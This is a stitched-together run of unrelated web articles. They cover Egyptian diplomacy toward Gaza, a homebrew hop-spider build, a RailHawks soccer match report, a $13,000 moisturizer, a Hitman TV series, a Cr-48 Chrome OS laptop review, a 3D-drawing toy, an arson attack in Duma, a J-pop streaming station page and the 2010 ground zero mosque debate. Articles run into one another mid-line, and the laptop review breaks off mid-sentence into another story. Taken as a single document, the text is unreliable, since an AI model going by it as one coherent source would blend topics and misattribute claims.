On Nov. 26, Al-Khaleej Online quoted an anonymous official in the Egyptian Foreign Ministry as saying that Egypt is leaning toward officially reopening and operating the consulate in Gaza.
Al-Monitor contacted the Egyptian Embassy in Ramallah and the Foreign Ministry in Cairo to ask about the reports that the embassy might be relocated, but both refused to make any statements in this regard.
However, Abdul Hamid al-Masry, a close associate of Dahlan, told Al-Monitor it is "very likely" that the consulate in Gaza will be officially reopened soon "without Egyptian official relations with the PLO or the work of the Egyptian Embassy in Ramallah being affected.”
He added, “According to the Fatah reformist current [led by Dahlan], a security and political Egyptian delegation will visit Gaza to monitor the situation in the Gaza Strip and discuss with the factions the steps needed for the advancement of the Palestinian cause and achievement of internal reconciliation.”
Masry said that if Egypt does reopen the consulate and implement its pledges to loosen restrictions on the Rafah crossing and establish a free-trade zone between Gaza and Egypt, it will bode well for the beginning of a new relationship. This development would be welcome after years of polarization, especially with Hamas, which governs the Gaza Strip.
But Ahmad Majdalani, a member of the PLO Executive Committee and a close associate of Abbas, called Hamas "a de facto illegitimate government" and told Al-Monitor, "Any cooperation with this government would be unacceptable.” He added, “Our embassy in Cairo is taking care of the required measures for citizens to travel to and from the Gaza Strip through the Rafah crossing.”
Majdalani said the rumors that Egypt is renovating its consulate in Gaza because of Abbas' refusal to reconcile with Dahlan are illusions promoted by some media outlets to suggest Egypt is supporting Dahlan against the Palestinian Authority, which is recognized at the Arab and international levels. If Egypt reopened its Gaza consulate, it would have to deal with Hamas and not Dahlan, who does not have strong influence in Gaza, Majdalani pointed out.
But relations between Egypt and Gaza have seen a breakthrough over the past few weeks, after Egypt invited Palestinian political, economic and media delegations from Gaza to visit to discuss the internal Palestinian situation. Hamas leader Khalil al-Hayya said in a Nov. 3 statement to the press, “Egypt has adopted a new vision toward the Gaza Strip to alleviate the siege imposed on the people."
As for appearances, Hussam al-Dajani, a political analyst and diplomat in the Palestinian Foreign Ministry in Gaza, told Al-Monitor that in terms of diplomatic customs, any country can open an embassy in any state and have representative offices in other areas of that state. That situation applies to Gaza and the West Bank, which are geographically separated by Israel. Because of the separation, he said, some countries with embassies in the West Bank have affiliated consulates in Gaza, including Qatar, Germany and Sweden.
Even if Egypt's intentions are the result of the deepening disputes between Abbas and Dahlan, as reported, Dajani pointed out that whatever the reasons behind reopening the consulate, such a step would benefit the people of Gaza and the Egyptian diaspora there.
Dajani said that during December, Egypt is likely to deliver on the promises it made to Gaza and establish a free-trade zone on the border, which will help develop the Rafah crossing and increase the number of days it is open.
On the other hand, Tayseer Muhaisen, a professor of international relations at the Islamic University of Gaza, told Al-Monitor Egypt is unlikely to reopen its Gaza consulate at this time. He pointed out that in international relations, opening a consulate in an area experiencing internal disputes represents a bias toward one party over another. He expects Palestinians to formally reject the idea.
Muhaisen stressed that Egypt still perceives the Hamas-ruled Gaza Strip as a security threat, despite Egypt's recent steps toward Gaza to renew relations with the Palestinians. That perception is a result of the failure to implement the "Arab Road Map" aimed at ending internal Fatah differences due to Abbas’ refusal to reconcile with Dahlan and the differences between Fatah and Hamas.
The tension between Egypt and Abbas reached its peak when Egypt abstained from sending an official delegation — for the first time ever — to Fatah’s congress. Mohamed Orabi, a former Egyptian foreign minister, attended the congress, but only in his personal capacity. Gazans are now watching and waiting for a visit from the Egyptian delegation to the consulate.This is one of the easiest, high reward DIY projects you can do as a homebrewer. For just over $25 and about 10 minutes of your time you can build a hop spider which will dramatically reduce the hop particles and other particulates in your beer.
First, a run to Home Depot or local hardware store.
2 3″-5″ hose clamps – $3.70
nuts and washers (1/4 thread) – $2.36
4×4″ PVC Cast Iron Adaptor -$12.84
4 10″ 1/4 threaded rods – $3.92
nylon straining bag- $6.49
You can use what ever PVC pipe you want to save some money; I liked the cast iron adaptor since it created a longer funnel shape and would give me more room to attach the hop bag.
After you have the parts, drill 4 holes in the PVC pipe at the wide end so that holes are at 90 deg angles from each other and about an inch down from the top. I laid the rods in an X over the top to get the holes even.
Attach the 4 rods with lock washers, washers, and nuts. There should be a washer and nut on the inside of the tube and a nut, lock washer, and washer on the outside. I made sure that there was no excess threaded rod protruding into the funnel.
The hop bag will fit around the narrow end of the funnel and is secured with 2 3″-5″ hose clamps. You probably only need one, but at a $1.85, why not have the added security of a back up.
With the bag attached he only thing left to do is brew some beer!× Expand Photo by Rob Kinnan / Courtesy of Carolina RailHawk Nacho Novo (left) battles with the Fort Lauderdale's Shawn Chin during the Carolina RailHawks' 1-1 draw with the Strikers Saturday evening at WakeMed Soccer Park in Cary, NC.
WAKEMED SOCCER PARK/ CARY—Throughout the 2014 regular season (heck, even last year, too), the Carolina RailHawks have displayed an uncanny ability to play counter to their given situation.
Anytime the RailHawks appear on the verge of falling out of a possible berth in the NASL’s four-team postseason tournament, the team will reel off two or three unexpected victories to again grab the reins of their destiny. Then, just as promptly, Carolina will squander their reacquired fortunes, placing themselves back on the precipice of heartbreak.
The fickle foot of fate once again dealt a blow to the RailHawks Saturday night with their 1-1 draw with the Fort Lauderdale Strikers. A Carolina win on home ground at WakeMed Soccer Park would have catapulted it back into fourth place in the overall NASL standings with only two games left in the regular season.
Instead, Saturday’s tie keeps the RailHawks two points behind the Strikers and tied with FC Edmonton for the fifth position. Moreover, Carolina will likely lose any tiebreaker since it trails both Fort Lauderdale and FC Edmonton substantially in goal differential.
It’s an outcome RailHawks manager Colin Clarke and his team were acutely aware of approaching Saturday’s match with Fort Lauderdale, which already defeated Carolina 1-0 two weeks ago in South Florida.
“Overall, it was disappointing,” Clarke said about this weekend’s draw. “Before this night started, we had it in our control to succeed in what our goal was at the start of the season, which is get into the playoffs and have a chance to win a championship. It’s not over, but it’s now out of our control.”
[jump] A scoreless, largely uneventful first half unfolded between two teams understanding the consequences of the match but clearly not wanting to be the first to make a costly error. The Strikers came out with a defensive strategy to pressure the RailHawks high and closely mark and muscle Carolina’s midfielders. When combined with their tall, stout back line that managed to mark the RailHawks’ wingers while also closing off passing lanes through the middle, it often appeared that the Strikers were playing with an extra field player.
Unlike the nine-goal second half that followed a scoreless first half between the RailHawks and New York Cosmos four weeks ago, the action this Saturday didn’t begin to open up until the 64th minute. Second-half substitute Nacho Novo found space inside the penalty area, but his was blocked by Strikers' midfielder Shawn Chin. Two minutes later, Ty Shipalane replicated the feat after Novo laid a ball off to Shipalane, who found himself with an open angled shot coming off the left wing that he pushed wide right of goal.
Just one minute later, the Strikers made the RailHawks pay for their missed chances. Midfielder Mark Anderson, after gathering a pass from Martin Nuñez, created space atop the 18-yard box and uncorked a low left-footed bounder that slipped beneath diving goalkeeper Akira Fitzgerald into the side netting for a 1-0 Fort Lauderdale lead.
The moment was similar to the match two weeks earlier, when Anderson’s lone goal in the 59th minute proved the Strikers’ game-winner over the RailHawks.
Thanks to stable defending and some tremendous goalkeeping from the Strikers’ Kamil Contofalsky, it appeared recent history might repeat itself. A Shipalane cross off the right wing in the 78th minute found Nazi Albadawi in the goalmouth, but his point blank header was saved by Contofalsky.
But Carolina found their equalizer in the 82nd minute. Shipalane laid the ball over Novo atop the 6-yard box with his back to goal. Sensing the defender and goalkeeper closing in, Novo chose to quickly back-heel the ball with his right boot into the lower corner of the goal. It's the first goal for Novo since joining the RailHawks last month.
“As soon as I got the ball, rather than turn around, I was just thinking [take a touch] into the corner,” Novo said. “It was the fastest [shot] I could do. And after missing the first [shot], I didn’t even want to try to turn.”
One of the only things missing from the match by this point was controversy, but that came in spades in the 85th minute. With Carolina pushing for the win, Shipalane took a turn and dribbled into the penalty box, where he poked the ball ahead and split two defenders in order to create a shot. Instead, Shipalane went down after being tripped by a sliding James Marcelin. However, referee Marcos DeOliveira declined to whistle a penalty, to the boisterous disapproval of Clarke, the RailHawks’ players and the 4,179 fans in attendance.
After the match, Clarke did not mince words in expressing his displeasure at the referee’s non-call.
“[I saw] a penalty, and so did everybody else apart from the one person who had the whistle in his hand,” Clarke said. “No two ways about it, and everybody I’ve talked to since has confirmed that on replays. Everybody said to me that it was a penalty.”
“For me it was a penalty, because I was right in front of it,” Novo added. “But that’s football. You can’t do anything. The referees have a difficult job, as well.”
In truth, DeOliveira’s overall performance throughout the match was largely evenhanded. There was some inconsistency between DeOliveira's calls at the start of the match as compared to its latter stages. However, Carolina was only whistled for five more fouls than Fort Lauderdale, and the referee gave only three bookings, two against the Strikers. Still, the non-penalty was a key call at the pivotal part of the match.
An additional subplot is the fact that DeOliveira resides in Hillsboro Beach, Fla., located 14 miles north of Fort Lauderdale, according to the public portion of his Facebook profile. Moreover, his Facebook profile also lists six Florida and Miami-area sports teams that DeOliveira has “liked,” including the Fort Lauderdale Strikers. Indeed, DeOliveira's connection to the Fort Lauderdale area was a topic of furtive conversation among some RailHawks officials after the match.
Even without any direct evidence of bias on the referee’s part, it’s fair to question the propriety of tapping a referee who lives in a particular city to officiate a match involving a club from that city and a team from elsewhere, especially when the same official has expressed some level of affinity for that particular hometown club on social media.
*UPDATE (10/20/14): DeOliveria apparently updated his Facebook profile page sometime since Saturday night so that the only sports team now shown has being "liked" is FIU Golden Panthers football. However, click below to see a screen capture of his profile page as it appeared last Saturday.
[pdf-1]
For his part, Strikers manager Günter Kronsteiner said the match was well-played by both teams and that each deserved to walk away with a point.
“I think for an away team we played good because it’s not easy to play here,” Kronsteiner said, “The RailHawks are a very good team, They’re very organized and you won’t get a lot of chances against them.”
Kronsteiner also mentioned, without prompting, that his team was additionally hampered by not having leading goalscorer Fafà Picault in the starting lineup. Picault, who eventually entered the match in the 62nd minute, has 12 goals on the year, second-most in the NASL. He appeared in all three of the Strikers’ matches over a seven-day period beginning Oct. 4 through Oct. 11. He scored two goals in the Strikers’ 3-2 win over Tampa Bay on Oct. 8, and he came off the bench to score another goal against Atlanta on Oct. 11.
So, it was safe to assume that Kronsteiner was measuring Picault’s minutes during the stretch run of the season, or that his star striker needed some rest.
However, Kronsteiner dispelled those assumptions in very frank fashion.
“I think he’s not focused, if I’m being honest,” Kronsteiner said. “When I see somebody in practice not doing 100 percent what I expect of him, why should I play him from the beginning? It was a warning signal for him because, for example, he would not get picked up for somewhere else. He’s wanted to get to a different league. He’s ‘bring me [to] Germany, bring me to different teams.’ So let’s see what comes out with this, but when somebody is focused and wants to play for our team he deserves to be on the pitch instead of [Picault].
“The last three games everybody has come to him now,” Kronsteiner continued. “He comes to me every day and talks to me, ‘Coach, I got a call from this team, I got a call from this team.’ … You can clearly see he’s not on our field anymore, He’s already somewhere completely different.”
Kronsteiner said the list of supposedly interested suitors includes Major League Soccer (MLS) clubs and other teams outside the U.S. While Kronsteiner says he has not heard personally from any of these clubs, “it seems he and his father did already know something.”
Meanwhile, the path to the playoffs for the RailHawks is now beyond their total control. Carolina must win next Saturday at the Atlanta Silverbacks and the await the outcome of the match between the Strikers and FC Edmonton. The RailHawks then host league-leading Minnesota United FC for their final regular season match on Nov. 1. Carolina must also win that game and hope that either Fort Lauderdale and/or FC Edmonton stumble in their final game.
It’s a tall order. But just when you think you’re figured out this RailHawks’ season, another surprise appears around the bend.
“Who knows? There might be just one more twist in this saga that’s been this fall season,” Clarke said. “Hopefully there is and it’ll twist our way.”Japanese beauty product maker Cle de Peau Beaute is releasing a moisturizer, La Creme, that will sell for more than $13,000 for a 50-gram jar (less than 2 ounces).
As Stylist Magazine notes, the luxury moisturizer is five times more expensive per gram than gold. Parent company Shisheido is releasing La Creme on September 21 to mark the company's 30th anniversary.
And while only three jars of the creme will be sold, the company has enlisted actress Amanda Seyfried to help promote the product. The moisturizer reportedly comes encased in 30 layers of crystal and will be housed in handmade jars topped with three platinum rings.
"We do not usually make limited editions of our products, but this is to mark a special occasion for the Cle de Peau Beaute line," spokesman Megumi Kinukawa said.
So would anyone actually spend $13,000 for a jar of moisturizer? A 2008 report from the YWCA found that American women spend $7 billion on makeup product annually, equaling about $100 a month per American woman.
"We hope it will appeal to our loyal customers and people who are interested in gorgeous brands," Kinukawa said.
Writing on the company's site, Cle de Peau Beaute says of Seyfried:
"As the exciting embodiment of luminous sophistication and natural radiance, Amanda Seyfried captures the very essence of Cle de Peau Beaute. She is pure of heart, vibrantly alive, and brings joy to the lives of others."Hitman is a pretty big franchise and IO Interactive holds it pretty close to their hearts, that's why they kept the rights when they parted ways with Square Enix earlier this year. They've created some of the best stealth/action games out there with 2016's Hitman being one of the best games to release that year.
Players are eagerly awaiting what's next for the franchise and while IO Interactive is already hard at work at a new entry in the series, it sounds like we'll have even more Hitman to consume in other entertainment mediums. Sure, we've already had two movies that both failed miserably but this newly announced TV show has some great people behind it.
The Hitman show will be executive produced by Derek Kolstad, the creator of John Wick, one of the most beloved action movies ever. Kolstad has already written a pilot for the show which will stream exclusively on Hulu with backing from Fox 21, 20th Century Fox's television production company. Hulu, Fox, and Kolstad plan to make the show follow closely to the lore and mythology of the games, meaning that you likely won't have those awful over the top action sequences that we saw in Agent 47.
Not only is Kolstad a great pick since John Wick is like Agent 47 if he went off the rails but the seeds planted in the first John Wick helped establish a much larger world, something absolutely essential in something Hitman related. There was a secret assassin society that was set up and then built upon even further in the sequel and the world of John Wick is rich with exploration, which means that Hitman shouldn't be new territory for Derek Kolstad.
There's no word on when this show will hit Hulu but it's likely a ways off. The report from Deadline also noted that there are two new Hitman games in the works which is interesting, to say the least. It's hard to say what those two games could be right now but if we were to guess we'd say one is a core Hitman game similar to Hitman (2016) and maybe a new mobile game like Hitman GO.
We'll continue to keep you posted as this story develops.Every piece of technology has both good and bad attributes. Nothing is perfect. Not even the iPhone. (Well, at least not until that AT&T exclusivity ends.) But until three days ago, I had never used a product with attributes that are both insanely awesome and shockingly awful at the same time. Welcome into the world, Cr-48.
Now, Google has made it very clear that they don’t intend to release this product as it stands. As such, they’ve more or less asked those they’ve sent it to not to review it as a completed product. But it’s pretty much impossible to avoid talking about the hardware here because for most of us, it is the first and only gateway we’ve had into Chrome OS. Plus, there’s a lot of interest in this particular device among our readers, so I’m going to talk about it.
Simply put: the hardware is pretty bad. Actually, maybe not so much bad, as annoying as all hell. But the only reason it’s so annoying is because Chrome OS, even in its very early, fairly rough stage, is that good. Well, potentially that good.
While Jason wrote up his initial thoughts after a day with the device, I’ve been using it as my primary machine for just about three days now. Also, I likely have a different perspective as I’m currently traveling — something which a Chrome notebook should be perfect for.
The Design
Initially, when I took it out of the box, I sort of wanted to laugh at the Cr-48. Jason compared its look to that of one of the old 12-inch PowerBook G4s. But actually, I think it’s closer to a combination of an old 12-inch iBook and one of the previous generation MacBooks — the one that came in black. In fact, when you open it up and start typing on it, it feels very similar to that MacBook.
Of course, that MacBook is also a few years old already. And when compared to the new MacBook Air, this thing looks like a bloated dog. One covered in some kind of rubber blanket. The fact that it has a VGA port, an ugly side grill for the fan, and yet only one USB port, doesn’t help.
But again, this is a prototype device. So we have to cut Google some slack here. As far as I know, they haven’t said which of their manufacturing partners made this thing, but let’s hope it was the cheapest device possible for them to produce and that’s why it exists as it does.
I really do hope that’s the case.
The Setup
Okay, so I took it out of the box and laughed. But then I opened the lid. Immediately, the thing booted up. No need to press the power button. 15 seconds later, it was walking me through a very easy-to-understand tutorial on how to use Chrome OS. After a few minutes reading it, I was asked to take a picture of myself (for my profile picture) with the built-in camera (above the screen), then I was all ready to go. That’s it.
I signed in with my Google account, and the browser launched. My bookmarks, extensions, and web apps were all automatically synced. I was ready to go pretty much instantly.
Now I was impressed. Very impressed. This is absolutely the future of computer set-ups.
The Trackpad
But the love affair quickly turned sour when I started using the Cr-48 trackpad. Jason called it a “turd”, but I think that’s being too kind. It’s maybe the worst excuse for a piece of technology that anyone has created in the past five years. It’s so much worse than any other trackpad I’ve ever used in recent memory, it’s almost unbelievable. Those bug reports from a few weeks ago make sense now.
And it also makes sense why Google isn’t selling the Cr-48 at all, despite the high demand. If they sold this product with this trackpad, Google may not be allowed to ever attempt to make another branded product ever again. If you think I’m exaggerating, use one.
Every time I point at something and click down, the cursor moves below or above where I had originally pointed. I’ve now taught myself to aim slightly higher or lower than where I want to click. But I have to guess which it will be. It’s a crapshoot.
Trying to double click with two fingers is even worse. If you’re used to casually doing it with ease on a MacBook, this will be your hell. To get it to work, you essentially have to lift two fingers about a foot in the air, then bring them down in a perfectly straight line at a rapid speed while making sure that they both hit the pad at the exact same time. Okay, I may be exaggerating a bit there, but it’s really bad.
Two finger scrolling? It’s perfect if you like randomly jumping to various parts of webpages for no reason.
Okay, I’ve made my point. This trackpad is a disgrace. It’s an abomination. I don’t know if it’s hardware or software or both (likely), but it’s just terrible. I’m tempted to do the unthinkable: buy a mouse.
The Keyboard
Moving on. So, the trackpad quickly soured my Chrome OS experience. But after I figured out little tricks to better maneuver (mainly using the excellent keyboard and its shortcuts), I was back on track. After a day, I was frustrated. But after two days, I was really, really liking Chrome OS. And even certain things about the Cr-48 specifically.
For example, every computer should absolutely have a search button in place of caps lock. I can’t remember the last time I’ve used caps lock. And yet, there it is, right there in a vital place on the keyboard. On the Cr-48, I think the search button rivals the spacebar for my most-often-hit key. You click it and it launches a new tab reach to search away in the omnibox. It’s fantastic.
Also awesome are the window-switching and full screen mode buttons on the Cr-48. OS X, with Spaces, essentially allows you to do this type of window-switching, but I’d argue that it’s better on Chrome OS because everything is simplified. If you want to open a new window (as opposed to a new tab), it will reside on another screen. That said, it is a little tricky to navigate if you have more than two windows open — hitting the button will cycle through them in order.
Full screen mode has existed on Chrome for some time, but the keyboard shortcut makes it more accessible than ever before. And on smaller screens (like the 12-inch on on the Cr-48), it’s very nice.
The Speed
Speed is the other major weakness of the Cr-48. It’s running an Intel Atom chip which is apparently clocked at 1.66 GHz. That may seem like it would be fast enough to run a web browser, but it’s not. Well, not if you’re doing anything with Flash turned on.
When we initially reported on the Flash issues that Cr-48 users were having, many of our favorite commenters (who may or may not make a living developing for Flash) were quick with the typical “bias!” nonsense. Of course, a few hours later, none other than Adobe themselves admitted the performance of Flash on the Cr-48 was unacceptable, and said they were working on it.
Good, because beyond watching a small YouTube clip with no other tabs open, Flash is basically unusable on the Cr-48. And that’s annoying because Google has decided to bake Flash into not only Chrome, but Chrome OS as well. So extensions like Flash Block are your friend here — or go to about:plugins and disable Flash directly until Adobe gets the mess sorted out.
But even beyond Flash, the Cr-48 just feels very slow when compared to any other modern computer. Typing, for example, often lags on sites such as WordPress (which I’m using right now). And opening new tabs and windows takes a few seconds longer than it would on a normal machine.
All of this is would seem to be because Google included only 2 GB of RAM in the Cr-48. But I have a MacBook Air with only 2 GB of RAM and it flies. Google really needs to work with their OEM partners to get this lag sorted out before these Chrome notebooks start shipping. And I have to believe they will.
Beyond Prototype
In fact, in many ways, the Cr-48 reminds me a lot of the G1, the first Android phone Google shipped (with HTC) a couple years ago. They both were clearly step one of a platform that would quickly evolve. And the Cr-48 even sort of feels like the G1 to the touch.
I still have a G1. Looking at it now compared to the newer Android phones is pretty humorous. The platform has clearly come
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worked for WowWee in Asia. Both left to begin designing their own toy ideas and this is their first commercial product.
I saw a prototype of this thing last week and it’s very compelling. It’s a fun toy and actually quite useful for very simple prototyping of plastic objects. In a few minutes we were able to build a little wireframe cube and draw a TC logo and, as you can see above, it’s fun to make little 3D drawings of, say, famous Internet bloggers whose names rhyme with Bohn Jiggs.
The project is already funded and it looks like it will be a popular product. It’s fun, clever, and introduces basic 3D-printing concepts without the rigmarole of programming and CAD. Think of it as a LOGO programming language for ABS extrusion fans, which is pretty esoteric but fairly accurate.NABLUS (Ma’an) -- Unidentified assailants on Saturday night set fire to a house in the village of Duma in the occupied West Bank, targeting the only witness of an arson attack that killed a Palestinian family last year.
Ghassan Daghlas, a Palestinian Authority official who monitors settlement activities in the northern West Bank, told Ma’an that unidentified attackers threw Molotov cocktails at the house of Ibrahim Dawabsha at 2 a.m. and broke a window while he and his family were sleeping.
Daghlas added that Ibrahim Dawabsha was the only witness of the deadly arson attack carried out by extremist Israeli settlers on the home of Saad and Riham Dawabsha in the northern West Bank village on July 30 last year.
Ahmad Dawabsha, now 5 years old, was the only survivor of the attack, which killed both his parents, Saad and Riham, as well as his 18-month-old brother, Ali.
Security sources said Ibrahim Dawabsha’s home was only ten meters away from the house which was burned down last year.
The sources added that Ibrahim Dawabsha and his wife were transferred to the Rafidiya hospital in Nablus for medical treatment after they suffered from smoke inhalation.
"the motives behind the attack are not clear yet."
Israeli police spokeswoman Luba al-Samri said that Israeli troops and police arrived the scene and started investigating the attack, adding that
However, Daghlas said there are enough indications that the assailants were Israeli settlers. "The way they attacked, the type of fire bombs and the timing of the attack all indicate that it was Israeli settlers," he said.
PLO Executive Committee member Hanan Ashrawi condemned the arson attack in a statement on Sunday morning.
“This heinous crime is not an isolated incident and demonstrates that the Israeli government continues to give the illegal Jewish settlers a free hand to commit acts of violence and terror against a defenseless civilian Palestinian population,” Ashrawi said.
“Clearly, there is no rule of law in Israel and as a state, Israel is responsible for generating a culture of hate and racism that has enabled the settlers to act as terrorists.”
Ashrawi called on the international community to “act urgently and to assume its responsibilities to protect the Palestinian people and to put an end to the impunity that Israel and its settlers continue to enjoy at the expense of Palestinian lives.”
Meanwhile, senior PLO official Saeb Erekat said in a statement received by Ma'an that Israeli authorities were responsible for “these war crimes carried out by the Israeli settlers against unarmed Palestinian civilians.”
“It’s obvious that the occupation is going ahead with atrocities and attempts to appear as a victim rather than perpetrators,” Erekat said.
Locals in Duma told Ma’an clashes broke out on Sunday morning between hundreds of school children and Israeli forces in the village. At least 15 girls suffered from tear gas inhalation fired by Israeli troops, whereas an Israeli soldier was injured by a stone to the face and evacuated in an ambulance.
The attack that left young Ahmad's entire family dead in 2015 brought international outcry against Israel's failure to hold Israeli settlers and Jewish extremists accountable for attacks on Palestinians, in effect being complicit in such attacks.
Several Israelis were arrested in late 2015 over the deadly arson attack on Ahmad’s family. In January, two Israelis, one of them a minor, were charged with three counts of murder and being an accessory to murder.
Israeli leadership at the time condemned the Dawabsha attack as "terrorism," and pledged to bring the perpetrators to justice.
Israeli rights group B'Tselem slammed the reaction by Israeli officials as "empty rhetoric."
"Official condemnations of this attack are empty rhetoric as long as politicians continue their policy of avoiding enforcement of the law on Israelis who harm Palestinians, and do not deal with the public climate and the incitement which serve as backdrop to these acts," the group said at the time.Home Login JPopsuki Radio / TV How to watch JPopsuki TV!
Yes, JPopsuki TV is still/again around and currently kicking with over 2000 PV's in it's playlist. Unfortunately there is no way to introduce a request system currently but the station is running non-stop 24/7 on random and well... thats got to do it for now. But luckily there should be something for every taste in the stream, from pop, rock over electro and the usual suspects. Just check it out if you didn't so far!
Again there are different ways to watch our stream.
Either you load this playlist with your WinAMP (or any other player that supports those):
Or you copy one of the following links directly into a player like VLC, WinAMP and others that support VP6 video:
jpopsuki.fm:8800/;stream.nsv (for the German server, 50 viewers max)
And last but not least, there is also a way to watch this stream right here in your browser if you got the VLC Browser-Plugin installed. (this should work with IE, Firefox and Opera)
Watch JPopsuki TV in Browser Pop-Up (German Server)
Finally a nice way to advertise our awesome streaming PV station again!Yes, JPopsuki TV is still/again around and currently kicking with over 2000 PV's in it's playlist. Unfortunately there is no way to introduce a request system currently but the station is running non-stop 24/7 on random and well... thats got to do it for now. But luckily there should be something for every taste in the stream, from pop, rock over electro and the usual suspects. Just check it out if you didn't so far!Again there are different ways to watch our stream.Either you load this playlist with your WinAMP (or any other player that supports those): JPopsukiTV.pls Or you copy one of the following links directly into a player like VLC, WinAMP and others that support VP6 video:jpopsuki.fm:8800/;stream.nsv (for the German server, 50 viewers max)And last but not least, there is also a way to watch this stream right here in your browser if you got the VLC Browser-Plugin installed. (this should work with IE, Firefox and Opera)
How to listen to JPopsuki Radio!
We will try our best to entertain you with a random playlist of currently over 15000 songs in our "off-time" and with the occessional live show.
There will also be genre themed playlists to specific times each day/week which will be displayed in the schedule down below, they are not ready yet so the schedule seems kinda empty.
Below is also the main hub for all radio information, while it still has some problems - the recent tracks list is kinda buggy - it should give you some insight into whats currently playing and an easy way to tune in. Use the "Pop-up" link below to have the stream info display in its own popup windows in case you want to use the embedded flash player, otherwise use one of the playlist icons to connect using your own media player.
You can also find the stream in the ShoutCast and IceCast streaming directorys or via various Android and iPhone apps for stream listening.
Now all left to say is: enjoy!
(Pop-Up) (Pop-Up - Flash Player only) Your browser unfortunately can not display embedded frames. You can open the page via this link tho: JPopsuki Radio! JPopsuki Radio is now also "back" and hopefully better than ever, but foremost - here to stay in its 192kbps MP3 glory.We will try our best to entertain you with a random playlist of currently over 15000 songs in our "off-time" and with the occessional live show.There will also be genre themed playlists to specific times each day/week which will be displayed in the schedule down below, they are not ready yet so the schedule seems kinda empty.Below is also the main hub for all radio information, while it still has some problems - the recent tracks list is kinda buggy - it should give you some insight into whats currently playing and an easy way to tune in. Use the "Pop-up" link below to have the stream info display in its own popup windows in case you want to use the embedded flash player, otherwise use one of the playlist icons to connect using your own media player.You can also find the stream in the ShoutCast and IceCast streaming directorys or via various Android and iPhone apps for stream listening.Now all left to say is: enjoy!Washington (CNN) -- By wading into the issue of an Islamic center and mosque near ground zero, President Barack Obama provided Republicans with an emotion-ridden attack vehicle while diverting attention from campaign themes of fellow Democrats.
A senior Republican strategist told CNN that GOP candidates are being encouraged to talk about the issue as much as possible.
In Florida, Republican gubernatorial candidate Rick Scott launched a statewide television ad Monday criticizing Obama for backing the right of Muslims to build an Islamic center and mosque two blocks from where the September 11, 2001, terrorist attacks killed more than 2,700 people.
"Barack Obama says building a mosque at ground zero is about tolerance," Scott says in the ad, looking directly into the camera. "He's wrong. It's about truth."
The "truth," Scott claims, is this: "Muslim fanatics murdered thousands of innocent Americans on 9/11, just yards from the proposed mosque."
"The fight against terrorism isn't over," Scott concludes. "Mr. President, ground zero is the wrong place for a mosque."
Meanwhile, a House Democratic leadership aide said the issue was dominating the political conversation when Democrats need to stress campaign themes such as economic recovery and saving social security.
"We understand why the president would want to talk about this issue, but the timing couldn't have been any worse," the House Democratic leadership aide told CNN.
Despite the concerns of Democrats, Senate Majority Leader Harry Reid of Nevada on Monday came out against building the Islamic center and mosque.
"The First Amendment protects freedom of religion. Sen. Reid respects that but thinks that the mosque should be built some place else," said a statement issued by Reid's spokesman, Jim Manley.
Reid is involved in a tough re-election campaign against conservative Republican Sharron Angle. The statement on the ground zero issue also called for Republicans to back a Democratic bill that would provide health care aid and compensation for firefighters, police officers and other first responders to the 9/11 attacks.
For its part, the White House sought to tamp down the discussion Monday. Speaking to reporters, White House spokesman Bill Burton sidestepped a question on Republican strategy and tried to declare the debate over.
"The president didn't do this because of the politics," Burton said, adding: "I think that it's a debate that was had and we've weighed in."
On Sunday, the topic dominated morning talk shows, with Republicans calling Obama insensitive for supporting the right of Muslims to build the Islamic center so close to ground zero.
Some predicted political repercussions for Democrats in November's congressional election, even though they agreed with Obama that freedom of religion is a vital part of American democracy.
"The Muslims have, as everyone else does, the right to practice their religion and they have the right to construct a mosque at ground zero if they wish," Rep. Peter King, R-New York, said on CNN's "State of the Union" program. "What I'm saying, though, is they should listen to public opinion, they should listen to the deep wounds and anguish this is causing to so many good people."
Republican strategist Ed Rollins, a senior political contributor to CNN, summed up the GOP perspective.
"Intellectually, the president may be right, but this is an emotional issue, and people who lost kids, brothers, sisters, fathers, what have you, do not want that mosque in New York, and it's going to be a big, big issue for Democrats across this country," Rollins said on the CBS program "Face the Nation."
On the same program, Democratic National Committee Chairman Tim Kaine challenged the Republican logic.
"You know, we see an awful lot of Republicans going out and saying we've got to respect the Constitution, and that means we have to respect it," Kaine said. "We can't tarnish people's First Amendment rights."
Democratic Gov. Ed Rendell of Pennsylvania said on the CBS program that the Islamic center issue shouldn't have political resonance.
"I can't imagine that any American -- given the challenges facing this country -- is going to vote based on what he said about the mosque," Rendell said of the November election. "The mosque is an unfortunate situation, but we do have a right to practice our religion freely wherever we choose. Rights are not subject to the popular vote or majority vote."
In his speech at a White House dinner Friday marking the start of the Islamic holy month of Ramadan, Obama said Muslims "have the same right to practice their religion as anyone else in this country."
"That includes the right to build a place of worship and a community center on private property in lower Manhattan, in accordance with local laws and ordinances," the president added.
The next day, Obama told CNN Chief White House Correspondent Ed Henry that he was "not commenting on the wisdom" of the project, just the broader principle that the government should treat "everyone equal, regardless" of religion.
His comments were considered by some to backtrack from what he said at the dinner, prompting a White House spokesman to further clarify the president's remarks later Saturday.
Both the topic and Obama'sneed to clarify his initial remarks evoked criticism from Republicans.
Sen. John Cornyn, R-Texas, told "FOX News Sunday" that Obama's stance demonstrated how "Washington, the White House, the administration, the president himself seems to be disconnected from the mainstream of America."
"This is sort of the dichotomy that people sense, that they're being lectured to -- not listened to -- and I think that's the reason why a lot of people are very upset with Washington," Cornyn said.
On the CNN program, King said Obama's lack of clarity further muddied the issue.
"If the president was going to get into this, he should have been much more clear, much more precise, and you can't be changing your position from day to day on an issue which does go to our Constitution, and it also goes to extreme sensitivity," King said.
Democrats responded that critics fail to distinguish between the al Qaeda terrorists who carried out the 9/11 attacks and the Islam religion, which includes peaceful adherents all over the world, including the United States.
"It is only insensitive if you regard Islam as the culprit as opposed to al Qaeda as the culprit," Rep. Jerrold Nadler, D-New York, said on the CNN program. "We were not attacked by all Muslims..... There were Muslims killed there. There were Muslims who ran in as first responders to help."
The issue was one of personal rights, not political popularity, Nadler said, adding: "We do not put the Bill of Rights, we do not put the religious freedom to a vote."
The House Democratic leadership aide lamented that the topic was getting so much attention.
"We were supposed to be talking about Social Security in this coming week," the aide said, referring to Democratic criticism of Republican calls to privatize the government-run pension program. "This is a really good issue for us. And instead, we're talking about the mosque."
Obama's remarks Friday drew praise from New York Mayor Michael Bloomberg, who announced his support for the Islamic center last week. Bloomberg compared Obama's speech to a letter former President George Washington wrote more than two centuries ago in support of a Jewish congregation in Newport, Rhode Island.
In the speech, Obama called the 9/11 attacks "a deeply traumatic event for our country."
"The pain and suffering experienced by those who lost loved ones is unimaginable," Obama continued. "So I understand the emotions that this issue engenders. Ground zero is, indeed, hallowed ground."
